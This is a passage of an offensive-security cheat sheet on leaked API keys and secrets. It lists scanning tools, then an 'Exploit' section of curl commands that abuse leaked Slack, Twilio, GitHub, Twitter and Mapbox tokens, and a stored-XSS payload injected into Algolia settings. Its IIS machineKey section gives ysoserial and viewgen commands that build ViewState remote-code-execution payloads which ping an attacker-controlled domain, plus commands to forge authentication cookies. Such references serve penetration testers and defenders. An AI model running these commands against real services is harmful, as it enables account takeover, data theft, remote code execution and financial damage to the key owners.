<li><a href="https://github.com/streaak/keyhacks">streaak/keyhacks</a> - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid</li>
<li><a href="https://github.com/trufflesecurity/truffleHog">trufflesecurity/truffleHog</a> - Find credentials all over the place
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="c">## Scan a Github Organization</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">docker</span> <span class="n">run</span> <span class="p">-</span><span class="n">-rm</span> <span class="n">-it</span> <span class="n">-v</span> <span class="s2">&quot;$PWD:/pwd&quot;</span> <span class="n">trufflesecurity</span><span class="p">/</span><span class="n">trufflehog</span><span class="p">:</span><span class="n">latest</span> <span class="n">github</span> <span class="p">-</span><span class="n">-org</span><span class="p">=</span><span class="n">trufflesecurity</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="c">## Scan a GitHub Repository, its Issues and Pull Requests</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="n">docker</span> <span class="n">run</span> <span class="p">-</span><span class="n">-rm</span> <span class="n">-it</span> <span class="n">-v</span> <span class="s2">&quot;$PWD:/pwd&quot;</span> <span class="n">trufflesecurity</span><span class="p">/</span><span class="n">trufflehog</span><span class="p">:</span><span class="n">latest</span> <span class="n">github</span> <span class="p">-</span><span class="n">-repo</span> <span class="n">https</span><span class="p">://</span><span class="n">github</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">trufflesecurity</span><span class="p">/</span><span class="n">test_keys</span> <span class="p">-</span><span class="n">-issue-comments</span> <span class="p">-</span><span class="n">-pr-comments</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="c">## Scan a Docker image for verified secrets</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="n">docker</span> <span class="n">run</span> <span class="p">-</span><span class="n">-rm</span> <span class="n">-it</span> <span class="n">-v</span> <span class="s2">&quot;$PWD:/pwd&quot;</span> <span class="n">trufflesecurity</span><span class="p">/</span><span class="n">trufflehog</span><span class="p">:</span><span class="n">latest</span> <span class="n">docker</span> <span class="p">-</span><span class="n">-image</span> <span class="n">trufflesecurity</span><span class="p">/</span><span class="n">secrets</span>
</code></pre></div></li>
<li><a href="https://github.com/aquasecurity/trivy">aquasecurity/trivy</a> - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets</li>
<li><a href="https://github.com/projectdiscovery/nuclei-templates">projectdiscovery/nuclei-templates</a> - Use these templates to test an API token against many API service endpoints
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">nuclei</span> <span class="n">-t</span> <span class="n">token-spray</span><span class="p">/</span> <span class="n">-var</span> <span class="n">token</span><span class="p">=</span><span class="n">token_list</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div></li>
<li><a href="https://github.com/blacklanternsecurity/badsecrets">blacklanternsecurity/badsecrets</a> - A library for detecting known or weak secrets on across many platforms
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">python</span> <span class="n">examples</span><span class="p">/</span><span class="n">cli</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-url</span> <span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">contains_bad_secret</span><span class="p">.</span><span class="n">html</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">python</span> <span class="n">examples</span><span class="p">/</span><span class="n">cli</span><span class="p">.</span><span class="n">py</span> <span class="n">eyJhbGciOiJIUzI1NiJ9</span><span class="p">.</span><span class="n">eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30</span><span class="p">.</span><span class="n">ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">python</span> <span class="p">./</span><span class="n">badsecrets</span><span class="p">/</span><span class="n">examples</span><span class="p">/</span><span class="n">blacklist3r</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-viewstate</span> <span class="p">/</span><span class="n">wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ</span><span class="p">==</span> <span class="p">-</span><span class="n">-generator</span> <span class="n">EDD8C9AE</span>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="n">python</span> <span class="p">./</span><span class="n">badsecrets</span><span class="p">/</span><span class="n">examples</span><span class="p">/</span><span class="n">telerik_knownkey</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-url</span> <span class="n">http</span><span class="p">://</span><span class="n">vulnerablesite</span><span class="p">/</span><span class="n">Telerik</span><span class="p">.</span><span class="n">Web</span><span class="p">.</span><span class="n">UI</span><span class="p">.</span><span class="n">DialogHandler</span><span class="p">.</span><span class="n">aspx</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="n">python</span> <span class="p">./</span><span class="n">badsecrets</span><span class="p">/</span><span class="n">examples</span><span class="p">/</span><span class="n">symfony_knownkey</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-url</span> <span class="n">https</span><span class="p">://</span><span class="n">localhost</span><span class="p">/</span>
</code></pre></div></li>
<li><a href="https://github.com/mazen160/secrets-patterns-db">mazen160/secrets-patterns-db</a> - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.</li>
</ul>
<h2 id="exploit">Exploit</h2>
<p>The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.</p>
<h3 id="google-maps">Google Maps</h3>
<p>Use : https://github.com/ozguralp/gmapsapiscanner/</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Endpoint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Static Maps</td>
<td>https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&amp;zoom=7&amp;size=400x400&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Streetview</td>
<td>https://maps.googleapis.com/maps/api/streetview?size=400x400&amp;location=40.720032,-73.988354&amp;fov=90&amp;heading=235&amp;pitch=10&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Embed</td>
<td>https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Directions</td>
<td>https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&amp;destination=Universal+Studios+Hollywood4&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Geocoding</td>
<td>https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Distance Matrix</td>
<td>https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&amp;origins=40.6655101,-73.89188969999998&amp;destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Find Place from Text</td>
<td>https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&amp;inputtype=textquery&amp;fields=photos,formatted_address,name,rating,opening_hours,geometry&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Autocomplete</td>
<td>https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&amp;types=%28cities%29&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Elevation</td>
<td>https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Timezone</td>
<td>https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&amp;timestamp=1331161200&amp;key=KEY_HERE</td>
</tr>
<tr>
<td>Roads</td>
<td>https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795</td>
</tr>
<tr>
<td>Geolocate</td>
<td>https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE</td>
</tr>
</tbody>
</table>
<p>Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account</p>
<h3 id="algolia">Algolia</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nb">curl </span><span class="p">-</span><span class="n">-request</span> <span class="n">PUT</span> <span class="p">\</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a> <span class="p">-</span><span class="n">-url</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">application-id</span><span class="p">&gt;-</span><span class="n">1</span><span class="p">.</span><span class="n">algolianet</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">1</span><span class="p">/</span><span class="n">indexes</span><span class="p">/&lt;</span><span class="n">example-index</span><span class="p">&gt;/</span><span class="n">settings</span> <span class="p">\</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a> <span class="p">-</span><span class="n">-header</span> <span class="s1">&#39;content-type: application/json&#39;</span> <span class="p">\</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a> <span class="p">-</span><span class="n">-header</span> <span class="s1">&#39;x-algolia-api-key: &lt;example-key&gt;&#39;</span> <span class="p">\</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a> <span class="p">-</span><span class="n">-header</span> <span class="s1">&#39;x-algolia-application-id: &lt;example-application-id&gt;&#39;</span> <span class="p">\</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a> <span class="p">-</span><span class="n">-data</span> <span class="s1">&#39;{&quot;highlightPreTag&quot;: &quot;&lt;script&gt;alert(1);&lt;/script&gt;&quot;}&#39;</span>
</code></pre></div>
<h3 id="slack-api-token">Slack API Token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="nb">curl </span><span class="n">-sX</span> <span class="n">POST</span> <span class="s2">&quot;https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&amp;pretty=1&quot;</span>
</code></pre></div>
<h3 id="facebook-access-token">Facebook Access Token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="nb">curl </span><span class="n">https</span><span class="p">://</span><span class="n">developers</span><span class="p">.</span><span class="n">facebook</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">tools</span><span class="p">/</span><span class="n">debug</span><span class="p">/</span><span class="n">accesstoken</span><span class="p">/</span><span class="k">?</span><span class="n">access_token</span><span class="p">=</span><span class="n">ACCESS_TOKEN_HERE</span><span class="p">&amp;</span><span class="n">version</span><span class="p">=</span><span class="n">v3</span><span class="p">.</span><span class="n">2</span>
</code></pre></div>
<h3 id="github-client-id-and-client-secret">Github client id and client secret</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="nb">curl </span><span class="s1">&#39;https://api.github.com/users/whatever?client_id=xxxx&amp;client_secret=yyyy&#39;</span>
</code></pre></div>
<h3 id="twilio-account_sid-and-auth-token">Twilio Account_sid and Auth token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nb">curl </span><span class="n">-X</span> <span class="n">GET</span> <span class="s1">&#39;https://api.twilio.com/2010-04-01/Accounts.json&#39;</span> <span class="n">-u</span> <span class="n">ACCOUNT_SID</span><span class="p">:</span><span class="n">AUTH_TOKEN</span>
</code></pre></div>
<h3 id="twitter-api-secret">Twitter API Secret</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="nb">curl </span><span class="n">-u</span> <span class="s1">&#39;API key:API secret key&#39;</span> <span class="p">-</span><span class="n">-data</span> <span class="s1">&#39;grant_type=client_credentials&#39;</span> <span class="s1">&#39;https://api.twitter.com/oauth2/token&#39;</span>
</code></pre></div>
<h3 id="twitter-bearer-token">Twitter Bearer Token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="nb">curl </span><span class="p">-</span><span class="n">-request</span> <span class="n">GET</span> <span class="p">-</span><span class="n">-url</span> <span class="n">https</span><span class="p">://</span><span class="n">api</span><span class="p">.</span><span class="n">twitter</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span><span class="p">/</span><span class="n">account_activity</span><span class="p">/</span><span class="n">all</span><span class="p">/</span><span class="n">subscriptions</span><span class="p">/</span><span class="n">count</span><span class="p">.</span><span class="n">json</span> <span class="p">-</span><span class="n">-header</span> <span class="s1">&#39;authorization: Bearer TOKEN&#39;</span>
</code></pre></div>
<h3 id="gitlab-personal-access-token">Gitlab Personal Access Token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="nb">curl </span><span class="s2">&quot;https://gitlab.example.com/api/v4/projects?private_token=&lt;your_access_token&gt;&quot;</span>
</code></pre></div>
<h3 id="hockeyapp-api-token">HockeyApp API Token</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="nb">curl </span><span class="n">-H</span> <span class="s2">&quot;X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c&quot;</span> <span class="n">https</span><span class="p">://</span><span class="n">rink</span><span class="p">.</span><span class="n">hockeyapp</span><span class="p">.</span><span class="n">net</span><span class="p">/</span><span class="n">api</span><span class="p">/</span><span class="n">2</span><span class="p">/</span><span class="n">apps</span><span class="p">/</span><span class="n">2021bdf2671ab09174c1de5ad147ea2ba4</span>
</code></pre></div>
<h3 id="iis-machine-keys">IIS Machine Keys</h3>
<blockquote>
<p>That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.</p>
</blockquote>
<p>Requirements
* machineKey <strong>validationKey</strong> and <strong>decryptionKey</strong>
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies</p>
<p>Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="nt">&lt;machineKey</span><span class="w"> </span><span class="na">validationKey=</span><span class="s">&quot;87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC&quot;</span><span class="w"> </span><span class="na">decryptionKey=</span><span class="s">&quot;E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7&quot;</span><span class="w"> </span><span class="na">validation=</span><span class="s">&quot;SHA1&quot;</span><span class="w"> </span><span class="nt">/&gt;</span>
</code></pre></div>
<p>Common locations of <strong>web.config</strong> / <strong>machine.config</strong>
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when <strong>AutoGenerate</strong> is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4<br />
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey</p>
<h4 id="identify-known-machine-key">Identify known machine key</h4>
<ul>
<li>Exploit with <a href="https://github.com/NotSoSecure/Blacklist3r">Blacklist3r/AspDotNetWrapper</a></li>
<li>Exploit with <a href="https://github.com/0xacb/viewgen">ViewGen</a></li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="c"># --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="c"># -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="p">$</span> <span class="n">viewgen</span> <span class="p">-</span><span class="n">-guess</span> <span class="s2">&quot;/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI=&quot;</span>
<a id="__codelineno-13-4" name="__codelineno-13-4" href="#__codelineno-13-4"></a><span class="p">[+]</span> <span class="n">ViewState</span> <span class="n">is</span> <span class="n">not</span> <span class="n">encrypted</span>
<a id="__codelineno-13-5" name="__codelineno-13-5" href="#__codelineno-13-5"></a><span class="p">[+]</span> <span class="n">Signature</span> <span class="n">algorithm</span><span class="p">:</span> <span class="n">SHA1</span>
<a id="__codelineno-13-6" name="__codelineno-13-6" href="#__codelineno-13-6"></a>
<a id="__codelineno-13-7" name="__codelineno-13-7" href="#__codelineno-13-7"></a><span class="c"># --encrypteddata : __VIEWSTATE parameter value of the target application</span>
<a id="__codelineno-13-8" name="__codelineno-13-8" href="#__codelineno-13-8"></a><span class="c"># --modifier : __VIEWSTATEGENERATOR parameter value</span>
<a id="__codelineno-13-9" name="__codelineno-13-9" href="#__codelineno-13-9"></a><span class="p">$</span> <span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">MachineKeys</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-encrypteddata</span> <span class="p">&lt;</span><span class="n">real</span> <span class="n">viewstate</span> <span class="n">value</span><span class="p">&gt;</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">viewstate</span> <span class="p">-</span><span class="n">-modifier</span><span class="p">=&lt;</span><span class="n">modifier</span> <span class="n">value</span><span class="p">&gt;</span> <span class="err">–</span><span class="n">macdecode</span>
</code></pre></div>
<h4 id="decode-viewstate">Decode ViewState</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">$</span> <span class="n">viewgen</span> <span class="p">-</span><span class="n">-decode</span> <span class="p">-</span><span class="n">-check</span> <span class="p">-</span><span class="n">-webconfig</span> <span class="n">web</span><span class="p">.</span><span class="n">config</span> <span class="p">-</span><span class="n">-modifier</span> <span class="n">CA0B0334</span> <span class="s2">&quot;zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=&quot;</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a>
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="p">$</span> <span class="p">.\</span><span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">MachineKeys</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-encrypteddata</span> <span class="p">/</span><span class="n">wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs</span><span class="p">=</span> <span class="p">-</span><span class="n">-decrypt</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">viewstate</span> <span class="p">-</span><span class="n">-modifier</span><span class="p">=</span><span class="n">CA0B0334</span> <span class="p">-</span><span class="n">-macdecode</span>
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a>
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="p">$</span> <span class="p">.\</span><span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">MachineKeys</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-encrypteddata</span> <span class="p">/</span><span class="n">wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs</span><span class="p">=</span> <span class="p">-</span><span class="n">-decrypt</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">viewstate</span> <span class="p">-</span><span class="n">-modifier</span><span class="p">=</span><span class="n">6811C9FF</span> <span class="p">-</span><span class="n">-macdecode</span> <span class="p">-</span><span class="n">-TargetPagePath</span> <span class="s2">&quot;/Savings-and-Investments/Application/ContactDetails.aspx&quot;</span> <span class="o">-f</span> <span class="n">out</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-IISDirPath</span><span class="p">=</span><span class="s2">&quot;/&quot;</span>
</code></pre></div>
<h4 id="generate-viewstate-for-rce">Generate ViewState for RCE</h4>
<p><strong>NOTE</strong>: Send a POST request with the generated ViewState to the same endpoint, in Burp you should <strong>URL Encode Key Characters</strong> for your payload.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">$</span> <span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TextFormattingRunProperties</span> <span class="n">-c</span> <span class="s2">&quot;cmd.exe /c nslookup &lt;your collab domain&gt;&quot;</span> <span class="p">-</span><span class="n">-decryptionalg</span><span class="p">=</span><span class="s2">&quot;AES&quot;</span> <span class="p">-</span><span class="n">-generator</span><span class="p">=</span><span class="n">ABABABAB</span> <span class="n">decryptionkey</span><span class="p">=</span><span class="s2">&quot;&lt;decryption key&gt;&quot;</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;SHA1&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;&lt;validation key&gt;&quot;</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="p">$</span> <span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TypeConfuseDelegate</span> <span class="n">-c</span> <span class="s2">&quot;echo 123 &gt; c:\pwn.txt&quot;</span> <span class="p">-</span><span class="n">-generator</span><span class="p">=</span><span class="s2">&quot;CA0B0334&quot;</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;MD5&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;b07b0f97365416288cf0247cffdf135d25f6be87&quot;</span>
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="p">$</span> <span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">ActivitySurrogateSelectorFromFile</span> <span class="n">-c</span> <span class="s2">&quot;C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll&quot;</span> <span class="p">-</span><span class="n">-generator</span><span class="p">=</span><span class="s2">&quot;CA0B0334&quot;</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;SHA1&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;b07b0f97365416288cf0247cffdf135d25f6be87&quot;</span>
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a>
<a id="__codelineno-15-5" name="__codelineno-15-5" href="#__codelineno-15-5"></a><span class="p">$</span> <span class="n">viewgen</span> <span class="p">-</span><span class="n">-webconfig</span> <span class="n">web</span><span class="p">.</span><span class="n">config</span> <span class="n">-m</span> <span class="n">CA0B0334</span> <span class="n">-c</span> <span class="s2">&quot;ping yourdomain.tld&quot;</span>
</code></pre></div>
<h4 id="edit-cookies-with-the-machine-key">Edit cookies with the machine key</h4>
<p>If you have the machineKey but the viewstate is disabled.</p>
<p>ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="c"># decrypt cookie</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="p">$</span> <span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">C</span><span class="p">:\</span><span class="n">MachineKey</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-cookie</span> <span class="n">XXXXXXX_XXXXX-XXXXX</span> <span class="p">-</span><span class="n">-decrypt</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">owin</span><span class="p">.</span><span class="n">cookie</span> <span class="p">-</span><span class="n">-valalgo</span><span class="p">=</span><span class="n">hmacsha512</span> <span class="p">-</span><span class="n">-decalgo</span><span class="p">=</span><span class="n">aes</span>
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a>
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="c"># encrypt cookie (edit Decrypted.txt)</span>
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a><span class="p">$</span> <span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-decryptDataFilePath</span> <span class="n">C</span><span class="p">:\</span><span class="n">DecryptedText</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>
<h3 id="mapbox-api-token">Mapbox API Token</h3>
<p>A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is <code>sk</code>, jackpot. If it's <code>pk</code> or <code>tk</code>, it's not worth your time.
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a>#Check token validity
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a>curl &quot;https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN&quot;
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a>
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a>#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropriate scope)
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a>curl &quot;https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN&quot;
</code></pre></div></p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d">Finding Hidden API Keys &amp; How to use them - Sumit Jain - August 24, 2019</a></li>
<li><a href="https://hackerone.com/reports/376060">Private API key leakage due to lack of access control - yox - August 8, 2018</a></li>
<li><a href="https://www.notsosecure.com/project-blacklist3r/">Project Blacklist3r - November 23, 2018 - @notsosecure</a></li>
<li><a href="https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/">Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020</a></li>
<li><a href="https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/">Mapbox API Token Documentation</a></li>
</ul>
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